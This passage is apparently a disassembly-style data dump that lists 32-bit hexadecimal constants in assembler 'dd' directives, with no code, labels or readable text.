0ADEEF78Bh, 47F85867h dd 706CC224h, 0FA9DE700h, 70CB40h, 5ED4CF7Bh, 0B776FB45h dd 35AF900h, 0D712A3B8h, 0F1B10039h, 0D1867D16h, 0D93C2433h dd 0A1380F07h, 0E09F00E3h, 367B21Ah, 25863511h, 57C0B76Eh dd 4A1C03DBh, 54C005DFh, 0B592AEE4h, 0AC7497h, 1241B110h dd 0F8AD2CEDh, 0E5E6A11Eh, 645206C0h, 3D44D8h, 280DFACEh dd 0ABFDBBC3h, 1BBA750Ah, 261F83F7h, 98DB0B40h, 58BCE2ADh dd 943D19C7h, 0A4DEEA00h, 116EC85Bh, 60C36801h, 0CBF12F67h dd 5C25D270h, 3301E465h, 5A92342Ah, 9AE2C491h, 238BBA00h dd 48ED6224h, 71B91D69h, 0E0B44051h, 85BF05F7h, 667EA700h dd 982E50CEh, 0EF1200D6h, 0C589BD7Fh, 5A1E6990h, 8740BE1Eh dd 8CFB6A08h, 1090B5h, 0EE31B38Ah, 489113C6h, 4C92E400h dd 83A6D761h, 5FF00F71h, 6AA0E099h, 0C02FDB1Eh, 72FCF500h dd 540403D6h, 0A6290230h, 0F3871973h, 7EE3B340h, 0C2B37D00h dd 0D99A08D8h, 9B290060h, 0B89F3FEEh, 4D001727h, 0DABAA85Ch dd 12B1CEB3h, 0B4D878h, 17DE14A4h, 71FB6DD2h, 0C1A8C44Bh dd 0BB568D00h, 0E68B361Fh, 454B0089h, 0AE82FDE9h, 35006615h dd 0ADFBD4F3h, 0B60937h, 0CDCA0BFh, 0E565CFDBh, 38C46C5Ch dd 95608022h, 0C8D98842h, 0FDF43A3Fh, 0CC07CA80h, 0A4BF4568h dd 3217A304h, 1DC0743Bh, 0A7EE2BCh, 0BE86CA91h, 8CD106FFh dd 0D23B19E8h, 0E7D900C5h, 0F5A3EA10h, 0FD72A5h, 729A8BC4h dd 0E2261C76h, 0C2F25F00h, 542F320Ah, 774E0302h, 0EAE7C46Ah dd 7694800h, 745815B1h, 612D00B8h, 71CEF1E8h, 0B524D784h dd 8C0004E4h, 4F56CF1Ah, 0FA33E83h, 0F68DA802h, 0AC40CE59h dd 0B4009FE5h, 1CC9A19Ah, 71A6E05Ah, 3B7900A4h, 82ECFBE6h dd 541FC5F9h, 40430398h, 0D0412DC6h, 0FB26A2h, 2058A363h dd 3D71516Fh, 0DE0008E4h, 406CF98Ah, 8D73A5h, 706645ADh dd 7205CE50h, 7E031E00h, 0AA74DDB3h, 0F5102E88h, 0A02300AFh dd 43494ADEh, 0D4636600h, 0E026AD55h, 0CF200009h, 0DB6B0415h dd 0C6127A81h, 0A0003C6Dh, 0A968CE9Bh, 11E200B6h, 7D331E12h dd 15004179h, 0E11B6B98h, 0A69744h, 1017F84Ch, 0F9045A0h dd 856A3Ah, 82D0EC2Ah, 20B565C7h, 0E800DFD3h, 0E7D4FB60h dd 74F0CFFh, 0F97BF04Dh, 32D22C62h, 1D7A9E00h, 89A202A0h dd 0AAD3002Bh, 0C404AE0Fh, 0C60E9853h, 402082ABh, 1A139B36h dd 9DF005h, 0ECF5338Eh, 0D061108Ch, 0D1063BEAh, 0F03CFADCh dd 77A50060h, 0B24586Ch, 0AF00DE38h, 0F3ECDC7h, 84EFE2h dd 3AE368C8h, 40ED4E20h, 0FC834A00h, 70562C23h, 0F51E00C7h dd 0BB520204h, 61E985Eh, 188334B0h, 0B009E546h, 2650B51Ah dd 1BCE7CAh, 8C869B83h, 665CCC4Fh, 1589D58h, 6456D15Eh dd 0F4E03813h, 0FC4A002Ah, 0B33C8F4Bh, 7700BBCBh, 74309FAh dd 3DB0FF48h, 0C71C4D9Fh, 0D3E28034h, 6B228897h, 0F0B7DC00h dd 85A1C8E6h, 647507B3h, 3E010842h, 9F1622E0h, 8E03C7DEh dd 48D28258h, 0FE9EF051h, 3500E10h, 0FB605C4Ch, 0E2C6A70Fh dd 73EEE701h, 0E927A1D0h, 9072DEF4h, 634600BCh, 0B96E2286h dd 331E1BBCh, 24815342h, 9C7E7858h, 1448C16Ah, 2DF4DC68h dd 4ED6BA0Fh, 0FCBC4A08h, 8FF9CE80h, 3D63B314h, 9F009299h dd 6DBD0AC6h, 4626C3AEh, 11A65804h, 1893803Fh, 83B7D4FFh dd 8E4414BFh, 4F00C89Fh, 0CD9188DAh, 0EE0E9AFBh, 0C7C852h dd 0D76C985h, 0A17980h, 0F6E9DCA4h, 1F0C5D3Ah, 0B7C02000h dd 41CB527Bh, 98786Fh, 53A149Bh, 0E8A2C9D8h, 4F96B402h dd 0E0FB2F1Dh, 1D631892h, 407FA419h, 5FFFF4B2h, 3C07F611h dd 32601609h, 0A6DB93A0h, 5DD60092h, 544C5EE0h, 47370A1h dd 39CFDF0Bh, 0BB54A035h, 0B99FE2h, 0E8FD7B93h, 32CE7F24h dd 0EA6F6700h, 950D6CCFh dd 404100AFh, 1A64E7E3h, 94007AFAh, 81A6BDFDh, 7CF8A9h dd 2F867BC6h, 6DFC0E98h, 1314C11Bh, 0DF77F011h, 38F24Eh dd 71FACF4Bh, 67AB561Dh, 0C8785439h, 73DB0040h, 66B2695Ch dd 0DF840506h, 0C03F7986h, 2A5D9B2h, 38611D7Fh, 9E6D14B9h dd 186F3980h, 0E86A3D58h, 8D99570Bh, 691403CBh, 0A61008E0h dd 78006B71h, 79DF2C5Fh, 6A730014h, 5662D4B7h, 5300AD29h dd 4538A987h, 0B83BDC67h, 0AE840012h, 4AEFDF09h, 0B3785B73h dd 8B86000h, 18F08FAFh, 0B9CB031Ah, 9C63C82Bh, 7AA2ADB8h dd 0CC01BBFEh, 4627CDFDh, 33F1CE87h, 76975840h, 745A005Fh dd 0AC4A3EF0h, 0D4F9696Dh, 0A800DC33h, 90261763h, 74BFDEh dd 3824CC6Eh, 194B47C0h, 0E5D8000h, 0D925FDE1h, 0E407571h dd 0EC94F3DDh, 5BE97BE0h, 0A80058DAh, 9707AE3Ah, 45AF36h dd 68B894A4h, 9E7B2010h, 0B50D0405h, 0F500BB07h, 0CC993F5Bh dd 53111495h, 9A00A026h, 7CA2CA1Ah, 8CA00867h, 0DDFFF831h dd 0F921B913h, 0D1AF5001h, 0F732FD1Ch, 8D8ECCh, 0BCAAE59Bh dd 13C0ADB2h, 73331001h, 193804D5h, 0D3CCF849h, 6A7003ABh dd 11E55808h, 0BBA25FB3h, 0A35DFC68h, 0F736AB00h, 0B61F307Eh dd 0CCBE0938h, 44070B17h, 98E7D099h, 26180DF3h, 0C93881C1h dd 8CDD2E91h, 3B0FBC8Ch, 0CC606946h, 623810D0h, 0A9085E64h dd 0EAB8D4A0h, 54163A69h, 0A6B94883h, 60AE5F19h, 0A09AA9C3h dd 84B0D706h, 0E8045CDh, 0BDFB1167h, 98572660h, 0B401CFFDh dd 0E21AB2BFh, 54225C83h, 34480B00h, 876BA5CEh, 0B615B00Eh dd 0A7798986h, 34902A40h, 0ADEFFC3h, 1A97AB68h, 529688C4h dd 7BA50760h, 53A02167h, 770E1591h, 5C605036h, 395AA54Fh dd 0CFAF5E00h, 97E219BCh, 3F21289Dh, 9FA307C8h, 0E0DCB95Fh dd 0BD3E5263h, 9C413Dh, 701CBA05h, 1C9DB1F3h, 0C0E02AD0h dd 0A911B887h, 6B00CC59h, 0C16465E6h, 0EECE9BAh, 0A48C4C23h dd 606E830Fh, 2F144820h, 0DA0237E4h, 0BB557195h, 64B660A8h dd 7466007Bh, 8A601411h, 0C53E4090h, 60EC2D0Dh, 7CBCD3CEh dd 1CEA1D20h, 0F6D6007Eh, 0A0BBFAE9h, 0BE5D171Dh, 0B576AF00h dd 3FE28h, 4784F826h, 0C1127238h, 160777F4h, 97A7E256h dd 1A482Ch, 0A9F7295Ch, 0F0A0CD46h, 604F8058h, 0CF0CF268h dd 0F3C4034Dh, 0F8BD418Fh, 0AEF029E6h, 74B74E27h, 0A892062Bh dd 56600805h, 0A157EF21h, 70F20047h, 0A6DA0C1Fh, 0DC759EEAh dd 2703C271h, 6BFF76B6h, 0AF303959h, 7739E606h, 6300703Eh dd 0DC6DBBF7h, 1C39B5Ah, 537E0527h, 0C8884D6Eh, 501C671Bh dd 9F807C4Ah, 0FC75E080h, 3A5003Ch, 77E3BA5Ah, 792C76D0h dd 0BB0041DEh, 0C9B73A90h, 0A6EF0004h, 0D35CBDE5h, 57589A6Ch dd 6B3E769Dh, 0F3BA0021h, 5C022C51h, 2AB7F4Ah, 0FD069A5Eh dd 6AC0DDCAh, 0EC006738h, 29E6968Dh, 0C7A739Bh, 1FE736ACh dd 5F399840h, 120E06Eh, 3BFBE08h, 717BBB39h, 20A0759Fh dd 6700FFE5h, 95DD6AB3h, 6F540Dh, 0DAF66289h, 9848F5B5h dd 19643201h, 79770C8Eh, 5C52882h, 0C0613658h, 0A7608074h dd 223B955h, 0F82C5E08h, 0F5980758h, 540F036h, 0DC07E4h dd 7B15D183h, 6E042EF3h, 34193A60h, 0CDF4CCh, 38F19C70h dd 2D08133Ch, 0B2FEC903h, 1311CFEFh, 8520B8h, 781571F3h dd 10F4F62h, 80EB59A8h, 0B997E568h, 74E81CD5h, 0A5D70613h dd 9B18B07Ch, 8019D121h, 0E09322A4h, 8FA88900h, 0C4B5C20h dd 62CDB899h, 2198B832h, 86F2D101h, 29354760h, 0DD042763h dd 99D518FEh, 0A2051128h, 198EBE00h, 0DE3E7ADAh, 8056033Ch dd 1BB6FB21h, 0A108198Eh, 9144D062h, 16EC5877h, 1507C371h dd 2740C8C9h, 0D06B2425h, 0D5003C21h, 44FDA661h, 0A73938C0h dd 6E478018h, 0A14F2404h, 2218C0B0h, 800FB2AEh, 5CB4600Fh dd 951F00DCh, 3ED55FCEh, 0F700176Bh, 6A1B3525h, 637C367Dh dd 0CAA03F00h, 7E837038h, 0B6F22813h, 0F8325840h, 21866F3Ah dd 0F8BE060Bh, 138BAC00h, 313407FFh, 0AACEC65Dh, 0CF18C09Ch dd 52B80938h, 0F85F03C3h, 2186CE88h, 94D9F9F0h, 6111C001h dd 67E5F10Ah, 89C6987h, 781E1024h, 40C06827h, 0A0F7C86Ch dd 1884E0FEh, 18A52C21h, 42003A03h, 4D3E1470h, 0B6684Ah dd 69085F48h, 31AFA1DCh, 0BF6B7F03h, 0E3231043h, 0DBE0E750h dd 142BF6BEh, 0AC5A3884h, 8E18541Fh, 69E7CCE1h, 517780C9h dd 891EB837h, 5EC61572h, 18C652h, 0B1D88766h, 75788868h dd 0F500D9EAh, 4D8D4B60h, 31E6602h, 0AADFF091h, 0DDE89E9Ah dd 0A00A1F05h, 24575A8Eh, 11890CC2h, 595D10E9h, 1825679Ah dd 6D4A40DAh, 0CA0066B1h, 62DFF545h, 49EB9Fh, 0CE6973D4h dd 7117029h, 0B130D200h, 0C1C69C40h, 2ADF00DDh, 743DA143h dd 0A5790221h, 4E0007E8h, 8F04E942h, 257318h, 14339A16h dd 0C234768Ch, 9D0A837Ch, 585651FFh, 0F122E4C4h, 50778B10h dd 7409CEBh, 50EA6DA6h, 6855E0h, 47D51E80h, 91013F21h dd 0DEFAA95Eh, 30836649h, 0DC386C01h, 501C489Eh, 0FA403AF5h dd 9FB27074h, 77BE0332h, 56BB455Ah, 40271800h, 8D5587D1h dd 71EE0F59h, 0E6805B0Ah, 0EB3154DAh, 8F17C80Dh, 0FBF0701Ah dd 0A07D764Eh, 5772398h, 0C0CBDAD4h, 0F5B04295h, 0F4B6B7B9h dd 0D0045C42h, 9341BF7Dh, 0F7A16F10h, 82699D3Fh, 9A41D31Fh dd 7E114165h, 0FCE0A2h, 0B1FA2692h, 65B3D67Fh, 0F9ADF305h dd 3421C986h, 0B80C9A10h, 0C14ADA03h, 2886FAh, 14C466B8h dd 0CB124C93h, 0FF5E505h, 9C00615Bh, 0C6CF6337h, 0AE70B0h dd 88F6F915h, 0DECD4D99h, 0B1337D02h, 405A8D3Ah, 6AFC8A6Ch dd 0E1A8BBh, 8C88C85Eh, 0C41C1415h, 0C71A743Bh, 0C38800E0h dd 2AE626Dh, 3E0D7BFAh, 5C815635h, 564F47C0h, 0B8F8F1ECh dd 6492D20Ch, 55DDA851h, 80F1908Eh, 3E8CDF0h, 0D5E79DFh dd 9AB0C4CFh, 860014A7h, 81E1E9ABh, 60E04818h, 0DB65B849h dd 1C55E226h, 0B15AEC80h, 4447300Ch, 3D47076h, 0F794AA0h dd 80006A48h, 0CA7F5CF7h, 0C3DA95C3h, 0F265E6A8h, 6484822h dd 6A0D7E3h, 4172287Dh, 3F33A88Bh, 5665196Ch, 0F24868F7h dd 1F5BA823h, 82E8E80h, 72187404h, 0F243E8h, 8B656BA1h dd 995A2993h, 2BDA4A00h, 0DF0762A3h, 0ABF7000Dh, 0F5D8E2BBh dd 9C92EB5Fh, 0DE417061h, 5AF0DDA1h, 1CEAF2C9h, 0C3B155C5h dd 0E059B5A5h, 1A6CB000h, 0F37E38DFh, 0D2202425h, 17778A60h dd 5C0C00DCh, 0EAEC0B4Ch, 9851C00Bh, 0B180D733h, 41C94A39h dd 23302260h, 3E8F7356h, 0E1000AD9h, 7448CB28h, 0D55215F6h dd 1A9600E8h, 172DAB2Ah, 1C530535h, 4955621Fh, 2B023F88h dd 0E444CB83h, 8297B813h, 46447840h, 0EA013Bh, 0EBFACBF4h dd 0C67AB8C4h, 61BA4700h, 6949B0C9h, 51FE82h, 14D58E85h dd 0D23532BEh, 0E3379E0Ah, 1267B076h, 8803B24h, 0A0319A2Ah dd 0F0EA19B8h, 7D0DE0B3h, 68B51C32h, 298C663Eh, 40441E50h dd 0DDC3A9F3h, 55806A4Eh, 28A1756Dh, 0FEB0B4DFh, 8A43002Eh dd 57E6B1FEh, 0C86CED1Ch, 142641h, 18911AE9h, 6DD7E4E3h dd 0E2B3AE00h, 0D36CDEDCh, 2D451C92h, 0F96580D8h, 646903D6h dd 0A8B88F00h, 0E0528635h, 398CA89Eh, 35AD73C1h, 401099FFh dd 3B1231E8h, 14A0905Dh, 0E50C5364h, 30C2D5B1h, 6A8288BBh dd 0CE5D1D00h, 62DACB34h, 19A7F58h, 0D3F1D093h, 0D1CAC4A2h dd 0F4146075h, 0B0FFDF00h dd 0AF4C5ABCh, 0D0EA0069h, 3B95A255h, 0E40E9154h, 80E2248Eh dd 8490DCE9h, 0EC51E258h, 0B2EA0057h, 153688DEh, 31EA4FE8h dd 9C1C32Ch, 0E028E613h, 8009593Ch, 0C857D584h, 8FE073F8h dd 38B289Bh, 4B410BCh, 6A2D7247h, 91343020h, 35430A23h dd 0CE4FE85Ah, 8C04B2E3h, 6889C84Ch, 47C0F809h, 3A2E095Ah dd 48025D0h, 31C35641h, 0FF26DC40h, 59102032h, 2894327Eh dd 885D0764h, 0D419DE41h, 0ED27C820h, 0C1A33030h, 0FF6C7069h dd 89AC207Eh, 0E8E7A1F6h, 4099120Fh, 0A550AC98h, 3F4CA8DAh dd 1628C882h, 33998443h, 5360DB40h, 13FC1952h, 380263A9h dd 6061DE16h, 40ED5F24h, 0E258F807h, 5B6C1CA2h, 269A2302h dd 668892F0h, 71B13000h, 85DB4690h, 4A2D3F13h, 7430AC12h dd 2CDDB7D8h, 50283A91h, 960E1F51h, 80DAC9B8h, 0F2DF2458h dd 17AC9257h, 2B925DDh, 49B1E714h, 0B0B6864h, 5820EFBh dd 0BC56BE12h, 0CF4A1405h, 510448C0h, 744249E0h, 0C7976E00h dd 0A14A7976h, 8824EB4Ch, 0D50C8536h, 3320906Bh, 10046EB3h dd 49F32E95h, 40B168CCh, 0E60AB48Fh, 0E4F2A67Eh, 709150A4h dd 0C02D1801h, 0E2ECAFD2h, 63394C83h, 26D5B83Dh, 0BA80A885h dd 0ED460E14h, 3FAFF84Ah, 1CAAEA62h, 48DF495Ch, 0F0846407h dd 8CD98061h, 0CE04EBE2h, 0C4C5DA7Eh, 9C9DC093h, 3D9A7490h dd 0BC120183h, 727B6462h, 0E98981F5h, 31188432h, 0A8C1C830h dd 2C97C76Ch, 40649468h, 0A07081D3h, 75E35D0Bh, 0D2241969h dd 0FB92B080h, 0C132AA95h, 3C832507h, 4445AF51h, 0B8991878h dd 0D11800DCh, 0D45A8E7Eh, 30E6996h, 0E95FB412h, 0D6C82E26h dd 1097E000h, 4914F6h, 7DE675C3h, 17A97024h, 0B30EBE7Fh dd 0C218C75Eh, 80942BAEh, 0CE1C1174h, 1AE414B6h, 6B814055h dd 40A91FB8h, 0CEE91BECh, 0B1C45A5Ch, 0F1114EA0h, 655424ADh dd 89E90609h, 13648E23h, 7E441C40h, 2C6D074h, 0F33385CBh dd 0FCAE92DEh, 3E2C0012h, 0FC7C5132h, 0C85A0300h, 0EAF53BE2h dd 1E743F7Dh, 9C703726h, 403897BBh, 5780B110h, 763E3D61h dd 74ECD4D5h, 12962005h, 6C802E2Dh, 0B849E9DCh, 0C0DA0FA0h dd 21F3273Fh, 5092EE60h, 4CCB57A4h, 2D11CD01h, 0DDB0C0BAh dd 75533880h, 0B8648FCFh, 4D8E2801h, 0D232A78Ch, 8CA0084Ch dd 0DF862200h, 510833CFh, 56DF87Dh, 0C1DA2EFAh, 0CA6C80A0h dd 440284D8h, 3504752Ah, 0F22090C5h, 0E9433E85h, 0B4708402h dd 70605624h, 60EDA60Ch, 3E00261Ch, 68100711h, 0B81CC6ECh dd 30949880h, 59E160E1h, 8F32DEA5h, 6129185Eh, 961853FCh dd 1F5B8885h, 1CC0202Ch, 0A20F350h, 3EC3BBDAh, 59C44FC0h dd 5E0AC85h, 0FB32EEDFh, 42D7C4D1h, 80172029h, 5E88091Eh dd 104DC0Ah, 866F5992h, 2F102416h, 1C70AD4Dh, 0FD4BDCA0h dd 0F0340D25h, 12ED1820h, 0BE0F07Dh, 0E8039340h, 0F11BEFC9h dd 0C091A477h, 28B0EA5Ch, 90945D6Ch, 38C460D0h, 0BC9A844Ah dd 94009C75h, 0AB864462h, 0A4D8CB51h, 4D3D2108h, 92E91180h dd 3C34CF0h, 0DABA2C47h, 0F2E876E1h, 0F2A1503Fh, 16444F25h dd 0D428FFE8h, 0C8B049h, 0DCABC454h, 2E0A5D92h, 4AAFD4E3h dd 8BCB8D06h, 4238E669h, 1E0D3C35h, 0C46C0B3Ah, 47F7AE40h dd 0D0D15246h, 1F014301h, 232A3A2Ch, 6CD500C8h, 0C971ED5Eh dd 0A6E2E420h, 0B05B56CCh, 0A4107BC9h, 3214BE15h, 5A4C3BAh dd 5A2E938Fh, 0EA60B000h, 5CB13E56h, 8005B05Eh, 32CC3FC6h dd 7F303208h, 0C2E2454h, 16B02A7Ch, 4DFCF70h, 811E837Dh dd 50F1EBF4h, 4A8EC8A4h, 800418B2h, 56EE358Ch, 0A911FC90h dd 28084B0Ah, 5E402CDCh, 0B3112A27h, 23222C84h, 0EFBF8CE8h dd 0C0A0B131h, 4A0B4CBEh, 62F855h, 0DAB6994Bh, 2127059Fh dd 0C17EA51Fh, 0D0253FC0h, 0C118488Ch, 0F560AD95h, 0D12E307Ch dd 4CEC8568h, 73598D02h, 72AB8781h, 0B0A64960h, 0F266BC4h dd 0B5F1C257h, 2D4EC61h, 0C622B87Eh, 444095FDh, 0E09A27C4h dd 823E18C9h, 40FC2ED0h, 0C3B910h, 4BE2B434h, 4060AB32h dd 0D9765B00h, 90ADB291h, 1C6A4C8Fh, 0A041202h, 0C0708CCEh dd 2C454C58h, 7B806C46h, 286815C9h, 91776F48h, 0C62BEC20h dd 70030FDFh, 62017479h, 6AFEB8CCh, 0A3D793Eh, 6E081C0Bh dd 616C50C0h, 17157C80h, 0B26AD5h, 9CC7164Ch, 2D020951h dd 234A7D66h, 3F68412Ah, 54E62C64h, 29011817h, 42301D04h dd 0A10E405Ch, 657ADDDBh, 0D3C020h, 2B2891FCh, 89C088A0h dd 4A03AC00h, 0C7402AB7h, 59D8C06Dh, 1815D5EEh, 0CEDF5209h dd 488E0BDh, 6274FAB3h, 0BE5E1891h, 0C63C2F10h, 896BEF90h dd 56033105h, 4D028C3h, 5C6C43A0h, 0C20FA869h, 44E0FE3Ch dd 0C8AA60F1h, 4918C467h, 0EBEAF3D0h, 0B9F50174h, 0AC272B96h dd 36DC402Fh, 0CE1270ADh, 7C43C4DDh, 40553A22h, 5045D878h dd 670088Ch, 14D85675h, 7D079162h, 5E962F61h, 375D3480h dd 0FCC7504Ch, 38920244h, 430F799Eh, 691E0C72h, 0A31DD21Eh dd 5EC107DDh, 0F3163C12h, 0C314C20h, 42DB39EBh, 76009731h dd 0EE5FAB1Dh, 66FE8F6Eh, 70A808EDh, 37543Eh, 0B8B60A1Dh dd 0B07E1C50h, 0C3FC039Ah, 74FA58F2h, 78154780h, 3C177906h dd 1C84A7Eh, 578D6B55h, 62144566h, 517200C4h, 2312E150h dd 0E7C8A02Dh, 0AC24B4D4h, 0F4C221Ch, 51391D78h, 81338851h dd 21D7035h, 81C56014h, 445988A2h, 16B28A3Dh, 9009B0C5h dd 0B7206093h, 44389026h, 249029C4h, 71F0600h, 0CF466290h dd 0C3C7E863h, 89088621h, 79CDBAC8h, 97A1590Eh, 0C827467Eh dd 4A360050h, 0F9FB8F7Ah, 3E301574h, 3C50E956h, 7CE3F6B8h dd 0A4430F95h, 0C5AE8F38h, 2C980A0h, 0A0D910C2h, 0C85836F8h dd 0C01D0A03h, 507CF65Fh, 1D027B3Eh, 0FBDF5F05h, 49E30076h dd 0DA05C80Fh, 3F62A5CBh, 3B1CC00h, 1F601A2Ah, 400CA3B5h dd 8FBF6AE2h, 9900E3EBh, 4DBCFD5Bh, 38E46CCDh, 5F5C633Fh dd 437C4F00h, 601F9CDBh, 742BFA00h, 0C787289Dh, 5E0939BAh dd 42697E80h, 0D92D3D21h, 0F62ECB00h, 1E6F96A8h, 0B89D00EDh dd 0F74654FAh, 3F00C17Dh, 35FCE8F4h, 0FB114Eh, 10BE4993h dd 1F3E2AD4h, 9F01F707h, 6746F4AFh, 0D5C0021h, 2E794405h dd 423D8085h, 3464031Dh, 0E0226E78h, 4C12FDh, 8A1C6FBBh dd 0FCB27024h, 588318C0h, 3A1FB06h, 0DCA32BD5h, 0F3C01E3Bh dd 800382Ah, 0F2BD5A0Fh, 0E8BC4215h, 204A6079h, 533BEF5Eh dd 809C8E28h, 73203A00h, 894DA57Ah, 4A98C0FEh, 0E54BB383h dd 3DA6B050h, 0C1524300h, 0ED8CCCF8h, 1EC1C01Ch, 69B99B21h dd 1092F230h, 3050A5Bh, 225777A7h, 9187012h, 0BB209B47h dd 25050E88h, 0FFE0CC44h, 0A264B020h, 0F70E1303h, 0DF3389FAh dd 5EF8AF0h, 0BEE01BDAh, 0E810F050h, 38CEA6C1h, 2A0F0AA2h dd 35581F1Ch, 0AE273B3Bh, 4700E150h, 6DC9253Ah, 0C13F5FBBh dd 7F0EFAC8h, 0DCC5F8D5h, 61D980EDh, 5E9C02Ch, 0CA0A0063h dd 11391E68h, 98740302h, 7C98FCFAh, 305AEA00h, 0AD3B09FFh dd 0B3C10312h, 0ABB4B21Bh, 0A336FA90h, 0D800647Ch, 57B053AAh dd 44977F4h, 9D37F567h, 7012807Bh, 4AECAB34h, 0A4645D00h dd 0B48F4B31h, 8C1A0EA8h, 79EB6ACh, 103053DCh, 551FD6BFh dd 32B20E00h, 0B8AC63CAh, 643E28Bh, 0D1985607h, 9310299Ch dd 0C3081165h, 6F10C064h, 8D01E680h, 2742D6A6h, 517A3B19h dd 6F160823h, 0F12968h dd 2479F9E8h, 39FE622Dh, 0AC80EE29h, 0F207855Fh, 8D00E81Bh dd 119F2470h, 0E3491891h, 0A47E8h, 438C37ABh, 0E545464Bh dd 907FD72h, 0ED178859h, 5853A0EEh, 7608A348h, 0B2D1386Fh dd 0D880C93Bh, 0B80DC7B4h, 57008F1Ch, 30547C78h, 1637F38Ch dd 0FE8596Bh, 35014C73h, 409D03F1h, 86397C9Ch, 422DCC1Eh dd 0BEA011C3h, 0EB22E8BCh, 41F51F40h, 6EAA4048h, 96B1D614h dd 7AF73024h, 780B5830h, 0A9DC10D4h, 21D1114Eh, 0FE5E1C00h dd 0DC707E96h, 0C2176107h, 60178ACAh, 7ADA250h, 832500B2h dd 0E7F9671Ch, 0C000C99Ch, 0E52F96D1h, 0C5CD9Dh, 48FDDE95h dd 0F2DA66AFh, 0BF4B29C0h, 3CF02186h, 1B8026F6h, 27A44134h dd 0B1F62B1Eh, 0CB023378h, 879D24D3h, 5700F507h, 3DC9A94Eh dd 56799000h, 43843D9h, 63951C7Dh, 67770069h, 0E0892FDCh dd 0B8361500h, 0F5844F3Dh, 881A3E35h, 6ED79900h, 0B6687CB4h dd 14648B1Fh, 637A8C3h, 88C4D3B7h, 0B8F92FC8h, 98200047h dd 96576B2h, 7A011B54h, 0D2FBEBFEh, 4D48441h, 929100D4h dd 58BCB07Ch, 6B040518h, 0A6FA954Bh, 62846C90h, 0AD8A241Dh dd 0E11CB9h, 947F0659h, 0B313E304h, 7E0035CFh, 6EE24D1Bh dd 0E499037Eh, 0E843FDCEh, 66E874C3h, 89004F05h, 9DF4FC1Ah dd 3E4180D0h, 0CC8068F5h, 3ED93AD8h, 0C500E4B1h, 3B96540Fh dd 0EE929Ah, 0FF9CE68Ch, 0F80D934Eh, 0EAB8D300h, 0D6CB3B05h dd 18DC1D1Ah, 0FC00FFE7h, 74F80A9Ch, 6A0092D3h, 0B7D9412Ah dd 1B3DE02h, 275FA6E8h, 0EC7E31AFh, 0F200E3E0h, 3F5352F1h dd 7BBE289h, 0B490AC05h, 90A4F401h, 982E1D70h, 93C43700h dd 32270719h, 0C98205EDh, 4E0C69h, 151333FCh, 1DEC1F40h dd 83C7305h, 0C0AA8210h, 0D022C539h, 0C795E500h, 0B73D5021h dd 4D62000Dh, 7F8806F7h, 0AC00C5E6h, 35E2B2C2h, 7D33B41h dd 0B5979DB1h, 0F29F90DDh, 0D2006966h, 76439818h, 6F4A1F52h dd 0B480CEEEh, 75403B3Ch, 366D5700h, 33A8308Ah, 595E0BDh dd 0AE0C8F11h, 0D0068028h, 975B40F5h, 8E0725A8h, 0B07E3B5Eh dd 2CCC6AB1h, 0AFBC6E00h, 6581401Ah, 59051787h, 0FBF0085h dd 1CF1500Ch, 1BD4130Ch, 32074h, 44D88F51h, 0DEFE2AFAh dd 0BA108E61h, 27DC8D4Ch, 9B1A033Ch, 0D5020894h, 0ECD119C9h dd 6F00A4C6h, 3F2B442Fh, 0F1ABEEBh, 739159E1h, 0B65B007Fh dd 0C1D01F45h, 0CDFEFF00h, 106AB906h, 8F21070Dh, 0CE825CECh dd 0F7000D2h, 8CB7D07Ch, 9172F400h, 55D73433h, 0C520FCDh dd 6F605BAAh, 97FE0DDEh, 80025A00h, 4CC14B35h, 0F6790013h dd 0D5C53A68h, 0DBE2F246h, 6118EB7Ch, 0B62275B5h, 12010EB2h dd 0E3C0082Eh, 0CF581647h, 0AF03E007h, 0D90750C5h, 0B7647ED0h dd 12990756h, 509146FFh, 0F2DBDDD0h, 8778EB1Dh, 28A805CCh dd 8D0F03F9h, 0B0E6AA85h, 6BBA26CBh, 0C4FDA880h, 1A00553Dh dd 3ECA8067h, 1F0C7E9h, 0ADED4796h, 0CCB44C18h, 3A0F42D6h dd 0E1686CDAh, 3DBA6628h, 0FF0010BFh, 1DC2B9C6h, 0A8073E0Ch dd 0E9D8B2B4h, 21766560h, 48E500EBh, 881F03Ah, 32759FC0h dd 0CE00E098h, 0C8FCB054h, 722CAD01h, 3B63009Bh, 229ED176h dd 0CE1D0885h, 21C02FB9h, 6238938Dh, 0E4013F4Ch, 4017C39Fh dd 2A57F425h, 9B3B8A11h, 8B46869Ch, 32A7E3Ch, 0FD3D6B28h dd 0D2806419h, 8C00A435h, 0D4AFE83Eh, 0ACD8C6h, 3A441AD3h dd 15A7723Fh, 5CBF8500h, 37018341h, 0B85000D9h, 580EEF1Dh dd 7E26B796h, 0E81D11DFh, 2D83007Eh, 0C8888D56h, 0E71324D2h dd 2A350BF7h, 546CDC00h, 2DEAD34Fh, 0D449EF09h, 15C0807Bh dd 79B793h, 8A6B18DEh, 0B8FFA90Dh, 0A6E1F503h, 0A3ECBE30h dd 0E02F804h, 0C7E49h, 932C5E2Fh, 34E078FDh, 1431D416h dd 242B4203h, 511100ACh, 7D3578EDh, 30F1A96Fh, 3D07B7D4h dd 0DDD848F0h, 0CFF184E3h, 0A51EDFD0h, 0F52EAECh, 70CCB4B0h dd 181F3420h, 8C00DD75h, 0EF4A4E2Fh, 0E05DAB9h, 2220D48Fh dd 32F06EC0h, 890019BCh, 343D0F56h, 35FB624h, 0ACDA2DE6h dd 0C0EF85DDh, 548BD729h, 23C0C3E3h, 5E00A02Bh, 6B8ACC4Dh dd 98A3AE67h, 0F38513D0h, 0E1610016h, 0EB575EC3h, 52696400h dd 2878199Bh, 4FAC00DBh, 966FB804h, 43054D11h, 0A4B62A80h dd 0C05B1DEEh, 8A099AA0h, 0CD00CEB3h, 753079BFh, 0AD5306h dd 8D8E9FFCh, 7FF67001h, 84299713h, 0A4A30800h, 0F8BC8752h dd 1FD57E16h, 40E2D4D9h, 0C24382AEh, 0EA009224h, 31AD4C0Fh dd 1E759919h, 80BAF8B5h, 0A562F998h, 0D4B86DCCh, 2184058h dd 0E3F7719Bh, 0A756606Ah, 445301EDh, 5FE0A16Bh, 0E6A83038h dd 9187740Eh, 0C457A0B5h, 784095h, 4BD66C2Ch, 0A7D5E576h dd 0FDD37000h, 0C47AE28Ch, 0BBD800CBh, 562741BDh, 890A12C8h dd 0D0D9C960h, 0CB10A400h, 0CC7EE9h, 2BBF7F83h, 308DE2FEh dd 0A251B50Ch, 0BC2004h, 0DEDD02FFh, 0CDF9FD6Bh, 3B3E633Ch dd 955F80D4h, 88A09BEEh, 0AFCC28D7h, 305508D0h, 985D0C6h dd 8490600Fh, 0ACC072h, 